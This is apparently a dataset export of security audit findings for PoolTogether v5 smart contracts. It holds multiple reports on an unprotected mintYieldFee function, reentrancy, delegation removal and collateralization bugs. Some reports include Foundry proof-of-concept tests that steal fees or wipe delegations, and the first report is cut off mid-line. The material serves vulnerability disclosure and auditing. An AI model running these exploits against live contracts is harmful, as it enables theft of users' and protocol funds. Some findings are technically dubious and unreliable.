xanoutas/solidity-security-findings huggingface dataset:
Yield fees can be stolen by anyone
Audit: 2023-07-pooltogether-findings
Severity: HIGH

# Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402


# Vulnerability details

The `mintYieldFee()` of the `Vault` contract has no access control, allowing anyone to execute and mint vault shares from the available yield fee. Furthermore, the function does not enforce that the recipient must be the [intended yield fee recipient set by the Vault's owner](https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L704) (the `_yieldFeeRecipient` state variable).

```solidity
function mintYieldFee(uint256 _shares, address _recipient) external {
  _requireVaultCollateralized();
  if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

  _yieldFeeTotalSupply -= _shares;
  _mint(_recipient, _shares);

  emit MintYieldFee(msg.sender, _recipient, _shares);
}
```

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402

## Impact

Anyone can steal the yield fees by executing the `Vault.mintYieldFee()`. Hence, the Vault's owner (or an intended yield fee recipient) may lose all the fees.

## Proof of Concept

The below presents the PoC code. Please place the code in `vault/test/unit/Vault/Liquidate.t.sol`.

```solidity
// cmd: forge test -vv --match-test testPoCStealingYieldFee
function testPoCStealingYieldFee() external {
  _setLiquidationPair();

  vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);

  // Set Bob as a yield fee recipient
  vault.setYieldFeeRecipient(bob);

  uint256 _amount = 1000e18;

  underlyingAsset.mint(address(this), _amount);
  _sponsor(underlyingAsset, vault, _amount, address(this));

  uint256 _yield = 10e18;
  _accrueYield(underlyingAsset, yieldVault, _yield);

  vm.startPrank(alice);

  prizeToken.mint(alice, 1000e18);

  uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));

  _liquidate(liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice);

  vm.stopPrank();

  uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);

  // Bob's balance is 0 (Bob was set as a yield fee recipient)
  assertEq(vault.balanceOf(bob), 0);

  address attacker = makeAddr("Attacker");

  // Attacker's balance is 0
  assertEq(vault.balanceOf(attacker), 0);

  assertEq(vault.totalSupply(), _amount + _liquidatedYield);
  assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares);

  // Prank as an attacker
  vm.startPrank(attacker);

  vm.expectEmit();
  emit MintYieldFee(address(attacker), attacker, _yieldFeeShares);

  // Attacker steals a yield fee (the yield fee is sent to the attacker, not Bob)
  vault.mintYieldFee(_yieldFeeShares, attacker);

  vm.stopPrank();

  // Attacker's balance equals _yieldFeeShares, the yield fee was stolen
  assertEq(vault.balanceOf(attacker), _yieldFeeShares);

  assertEq(vault.totalSupply(), _amount + _liquidatedYield + _yie
Vault wrongly stays in collateralized state for next depositor if yield vault loses all assets
Audit: 2023-07-pooltogether-findings
Severity: HIGH

# Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1176


# Vulnerability details

## Impact
If vault has depositors and its yield vault gets entirely wiped, `isVaultCollateralized` stays true. 

Allowing the next depositor (victim) to have their shares' worth immediately divided by the current amount of shares in that vault.

## Proof of Concept
In `testUndercollateralizationExchangeRateReset` of `Undercollateralization.t.sol` change the line to burn all assets of the yield vault:

```
underlyingAsset.burn(address(yieldVault), 20_000_000e18);
```

observe by running `forge test --match-test testUndercollateralizationExchangeRateReset` that `assertEq(vault.isVaultCollateralized(), false);` is not passing anymore.

Since the vault is still considered to be collateralized, a user can come and deposit in this vault that will:

- mint them shares on a 1:1 basis (exchange rate is `_assetUnit`)

- update the exchange rate, this time taking into account that `_yieldVault.maxWithdraw(address(this))` is only that last user's deposit

So their shares price will be immediately divided by the total amount of shares in the vault. Loss of funds.

## Tools Used

Foundry

## Recommended Mitigation Steps

Check `_totalSupplyAmount` if `_withdrawableAssets` is 0 in `_currentExchangeRate`


## Assessed type

Invalid Validation
Unfair Winner Selection in Prize Distribution Compromises Fairness in `PoolTogether` Protocol
Audit: 2023-07-pooltogether-findings
Severity: HIGH

# Lines of code

https://github.com/GenerationSoftware/pt-v5-prize-pool/blob/4bc8a12b857856828c018510b5500d722b79ca3a/src/libraries/TierCalculationLib.sol#L104-L111
https://github.com/GenerationSoftware/pt-v5-prize-pool/blob/4bc8a12b857856828c018510b5500d722b79ca3a/src/libraries/TierCalculationLib.sol#L73-L96


# Vulnerability details

## Impact
The unique user hash is converted to a `uint256` before being used in the prize distribution mechanism. Winners who deserve to win based on their unique user characteristics, tier and winning random number may not be accurately determined. The `uint(hash)` values may not be unique to each user potentially leading to the selection of incorrect winners 

## Proof of Concept
https://github.com/GenerationSoftware/pt-v5-prize-pool/blob/4bc8a12b857856828c018510b5500d722b79ca3a/src/libraries/TierCalculationLib.sol#L104-L111

The vulnerability arises from the conversion of a unique user `hash` to a `uint256` which leads to non-uniqueness.
The unique user hash is generated using the Keccak256 hash function, which is a cryptographically secure hash function. The hash function takes any input and produces a unique hash value. In the `PoolTogether` protocol, the unique user hash is used to identify each participant in the prize draw. Converting the unique user-specific hash into a uint256 implies that the uniqueness of the pseudorandom number is lost. This has a direct impact on the fairness and integrity of the winner selection process.

```
  /// @notice Calculates a pseudo-random number that is unique to the user, tier and winning random number.
  function calculatePseudoRandomNumber(....)

   return `uint256`(keccak256(abi.encode(_user, _tier, _prizeIndex, _winningRandomNumber)));
```




## Tools Used
Manual analysis

## Recommended Mitigation Steps
Explore alternative methods that preserve the uniqueness of the hash while maintaining randomness and security.

Conclusion:


## Assessed type

en/de-code
`mintYieldFee` doesn't mint yield fee to the `_yieldFeeRecipient` in `Vault` contract
Audit: 2023-07-pooltogether-findings
Severity: HIGH

# Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402


# Vulnerability details

## Impact

The `mintYieldFee` function inside the `Vault` contract can be called by anyone to transfer the accrued yield fees shares to a given `_recipient` address (set by the user), but the function is normally supposed to transfer those fees to the `_yieldFeeRecipient` set by the contract owner.

## Proof of Concept

The issue occurs in the `mintYieldFee` function below :

File: Vault.sol [Line 394-402](https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402)
```solidity
function mintYieldFee(uint256 _shares, address _recipient) external {
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);
    
    _yieldFeeTotalSupply -= _shares; 
    // @audit The fees shares should be minted to `_yieldFeeRecipient`
    _mint(_recipient, _shares);
    
    emit MintYieldFee(msg.sender, _recipient, _shares);
}
```

As you can see from the code above, the function has no access control (modifier or check on the caller), it allows the caller to give any `_recipient` address which the fee shares get minted to (when the vault is collateralized, of course).

But from the comments we can find that all the fees captured should go to the `_yieldFeeRecipient` and don't to a random user :

```solidity
/// @notice Address of the yield fee recipient that receives the fee amount when yield is captured.
address private _yieldFeeRecipient;
```

The impact of this issue is that all the accrued fee shares are distributed to random users who make a call to the `mintYieldFee` function instead of the `_yieldFeeRecipient`. And in order to make sure that the fees are minted to the `_yieldFeeRecipient`, the protocol devs would have to monitor at each moment when the vault is collateralized and try to be the first to call the `mintYieldFee` function which not suitable and maybe impossible.

## Tools Used

Manual review

## Recommended Mitigation Steps

To solve this issue i recommend to remove the `_recipient` address argument from the `mintYieldFee` function and mint directly to the `_yieldFeeRecipient` address.

The code should become : 

```solidity
function mintYieldFee(uint256 _shares) external {
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);
    
    _yieldFeeTotalSupply -= _shares; 
    // @audit any user that call the function will mint to `_yieldFeeRecipient`
    _mint(_yieldFeeRecipient, _shares);
    
    emit MintYieldFee(msg.sender, _yieldFeeRecipient, _shares);
}
```


## Assessed type

Token-Transfer
Anyone can call mintYieldFee() in Vault.sol and mint the Yield Fee
Audit: 2023-07-pooltogether-findings
Severity: HIGH

# Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402


# Vulnerability details

## Impact

Anyone can steal the yield fees.

## Proof of Concept

The `mintYieldFee()` function in Vault.sol has no modifier and thus anyone can call this function to mint yield fees to themselves.

```
  function mintYieldFee(uint256 _shares, address _recipient) external {
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);


    _yieldFeeTotalSupply -= _shares;
    _mint(_recipient, _shares);


    emit MintYieldFee(msg.sender, _recipient, _shares);
  }
```

There is an assigned `yieldFeeRecipient_` done in the constructor and the owner can change the yield fee recipient by calling `setYieldFeeRecipient()`. The fees should only go to the yield fee recipient.

```
  constructor(
    _setYieldFeeRecipient(yieldFeeRecipient_);
```
```
  function setYieldFeeRecipient(address yieldFeeRecipient_) external onlyOwner returns (address) {
    address _previousYieldFeeRecipient = _yieldFeeRecipient;
    _setYieldFeeRecipient(yieldFeeRecipient_);


    emit YieldFeeRecipientSet(_previousYieldFeeRecipient, yieldFeeRecipient_);
    return yieldFeeRecipient_;
  }
```

## Tools Used

Manual Review

## Recommended Mitigation Steps

Make sure `mintYieldFee()` has an OnlyOwner modifier or lock the recipient to the `yieldFeeRecipient_` set in `_setYieldFeeRecipient()`

```
  function _setYieldFeeRecipient(address yieldFeeRecipient_) internal {
    _yieldFeeRecipient = yieldFeeRecipient_;
  }
```


## Assessed type

Context
Wrong ERC20Permit import from Openzeppelin
Audit: 2023-07-pooltogether-findings
Severity: HIGH

# Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L5C1-L5C103 #L5


# Vulnerability details

## Impact
The Vault.sol contract imported the draft-ERC20Permit from Openzeppelin contracts. However, the draft-ERC20Permit contract doesn't exist anymore in Openzeppelin contracts. Besides, the Vault.sol contract inherited ERC20Permit and not draft-ERC20Permit - https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L110C1-L110C70.

Functions in Vault.sol such as depositWithPermit, mintWithPermit, sponsorWithPermit, and _permit using the ERC20Permit abstract contract could throw unexpected behavior because of the wrong import.

## Proof of Concept
https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L5C1-L5C103

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L110C1-L110C70

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L427C3-L438C1

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L458C2-L472C4

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L494C1-L504C4

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1093C1-L1105C1

## Tools Used
Manual review

## Recommended Mitigation Steps
import { ERC20Permit, IERC20Permit } from "openzeppelin/token/ERC20/extensions/ERC20Permit.sol";


## Assessed type

ERC20
Delegated amounts can be forcefully removed from anyone in the TwabController
Audit: 2023-07-pooltogether-findings
Severity: HIGH

# Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L982-L994


# Vulnerability details

## Impact
The `sponsor` function in the `Vault.sol` contract allows anyone to remove another user's delegation by forcing them to delegate to the sponsor address. `_sponsor` will deposit some amount from the caller for the target user and then force a delegation to the sponsor address (`address(1)`).

However, this amount can just be 0 and so it becomes a function to simply force a removal of a delegation. The full delegated power gets removed, because delegations to the sponsor address are not tracked.

As such, it becomes possible to call `sponsor` for every user and make the total delegated power supply in the TwabController equal to 0.
The attacker can then be the only one with some delegated amount that is equal to 100% of the total supply, manipulating the process of the lottery.

Rectifying the delegation requires manual interaction from the user and the exploit can be repeated anytime, continuously, further manipulating the values in the TwabController.

## Proof of Concept
```
function testPoCDelegateRemoval() public {
    address SPONSORSHIP_ADDRESS = address(1);
    uint96 BALANCE = 100_000_000 ether;

    token.approve(address(vault), BALANCE);
    vault.deposit(BALANCE, address(this));

    assertEq(address(this), twab_controller.delegateOf(address(vault), address(this)));
    assertEq(BALANCE, twab_controller.delegateBalanceOf(address(vault), address(this)));

    // As attacker, call sponsor with 0 amount and victim address
    vm.prank(address(0xdeadbeef));
    vault.sponsor(0, address(this));

    // Delegated balance is now gone
    assertEq(SPONSORSHIP_ADDRESS, twab_controller.delegateOf(address(vault), address(this)));
    assertEq(0, twab_controller.delegateBalanceOf(address(vault), address(this)));
    assertEq(0, twab_controller.delegateBalanceOf(address(vault), SPONSORSHIP_ADDRESS));
}
```

## Tools Used

Manual review, VSCode, Foundry.

## Recommended Mitigation Steps

The `sponsor` function should only accept deposits if the receiver has already delegated to the sponsorship address. Or otherwise, the deposit is accepted, but the delegation should not be forced.


## Assessed type

Other
Reentrancy issue in Vault.deposit can lead to drain all funds of vault if _asset is ERC777 token
Audit: 2023-07-pooltogether-findings
Severity: HIGH

# Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L407-L415
https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L925-#L963
https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1122-#L1143


# Vulnerability details

In deposit function, developer conscious of reentrancy possibility when using ERC777 token and use CEI pattern to avoid impact of reentrancy:

    // If _asset is ERC777, `transferFrom` can trigger a reentrancy BEFORE the transfer happens through the
    // `tokensToSend` hook. On the other hand, the `tokenReceived` hook that is triggered after the transfer
    // calls the vault which is assumed to not be malicious.
    //
    // Conclusion: we need to do the transfer before we mint so that any reentrancy would happen before the
    // assets are transferred and before the shares are minted, which is a valid state.

    // We only need to deposit new assets if there is not enough assets in the vault to fulfill the deposit`

But it is not enough to reduce impact of reentrancy. Attacker can still abusing this to steal all funds. Root cause come from share calculation:

    uint256 _shares = _convertToShares(_assets, Math.Rounding.Down);

When attacker re-enter function while excute function, _mint() function still not executed, so function _updateExchangeRate is not excuted too. Attacker can get more shares by using old share calculation rate. Repeat this process till all vault is drained.

## Impact
All vault is drained.

## Tools Used
Manual review.

## Recommended Mitigation Steps
Using ReentrancyGuard from OpenZeppelin


## Assessed type

Reentrancy
Anyone can mint yield fee to any recipient
Audit: 2023-07-pooltogether-findings
Severity: HIGH

# Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394


# Vulnerability details

## Impact
Anyone can come and claim the yield fee for themselves.

## Proof of Concept

In `testLiquidateAndMintFees` in `Liquidate.t.sol` just change this line:

```
vault.setYieldFeeRecipient(bob);
```

to a random address

```
vault.setYieldFeeRecipient(0xc0ffee);
```

and keeping that line:
```
vault.mintYieldFee(_yieldFeeShares, bob);
```

by running `forge test --match-test testLiquidateAndMintFees` it returns no errors.

Fee shares are minting to bob even though is not the fee recipient.


## Tools Used

foundry

## Recommended Mitigation Steps

Send fees to the right recipient



## Assessed type

Access Control
Anyone can call mintYieldFee in the Vault contract to mint shares for themselves
Audit: 2023-07-pooltogether-findings
Severity: HIGH

# Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402


# Vulnerability details

## Impact
Anyone can call `mintYieldFee` in the `Vault` contract to mint shares for themselves, which are supposed to go to the `_yieldFeeRecipient`.

## Proof of Concept
The comment above the function `mintYieldFee` says the following:

`@notice Mint Vault shares to the yield fee _recipient`.

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L388

So, the intention is clearly to mint Vault shares to the `_yieldFeeRecipient`. But, the function lacks any check to verify whether the `_recipient` argument is equal to the `_yieldFeeRecipient`. Hence, it allows, anyone to mint themselves shares by subtracting that amount from the `_yieldFeeTotalSupply`.

## Tools Used
Manual Review

## Recommended Mitigation Steps
It is recommended that the function include a modifier to prevent this or check that the `_recipient` be equal to the `_yieldFeeRecipient`

`require(_yieldFeeRecipient == _recipient, "_recipient is not the same as _yieldFeeRecipient");`


## Assessed type

Access Control
Anybody can mint himself shares up to the _yieldFeeTotalSupply
Audit: 2023-07-pooltogether-findings
Severity: HIGH

# Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394


# Vulnerability details

## Impact
There is a function called mintYieldFee in the Vault.sol file which someone can call and pass it a reciever address to receive some shares of the vault. In the constructor a variable called "_yieldFeeRecipient" is set, which I assume is the address which should receive the shares up to _yieldFeeTotalSupply. However, the function is external and does not have any restrictions on who can call it, therefore anyone can mint himself extra shares that he should not have.

## Tools Used
Manual Review

## Recommended Mitigation Steps
One solution could be: inside the mintYieldFee function there is a call "_mint(_recipient, _shares);". Instead of allowing someone to pass the _recipient as a function argument, it could be switched with the _yieldFeeRecipient variable => _mint(_yieldFeeRecipient, _shares). This way, the shares will belong to the intended address.


## Assessed type

Access Control
Anyone Can Claim the YieldFee to any arbitrary address
Audit: 2023-07-pooltogether-findings
Severity: HIGH

# Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402


# Vulnerability details

## Impact
 The _yieldFeeTotalSupply is the total accrued supply from the yield fee. In the layout of the contract, we have the yield fee receiver set in the constructor.
https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L276
However, in the function to mint YieldFee as shares is free for anyone to call with no access control
## Proof of Concept
```solidity
//@audit-issue no access control, also can be claimed to an arbitrary address
  function mintYieldFee(uint256 _shares, address _recipient) external {
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

    _yieldFeeTotalSupply -= _shares;
    _mint(_recipient, _shares);

    emit MintYieldFee(msg.sender, _recipient, _shares);
  }
```
This function has no access control, and can also be called anyone to mint the shares to the ```_recipient``` address provided by the caller.
This causes direct theft of all protocol fees
## Tools Used
Manual Review
## Recommended Mitigation Steps
Add the onlyOwner modifier to the function. And also direct all funds to the yield fee receiver that has been preset


## Assessed type

Access Control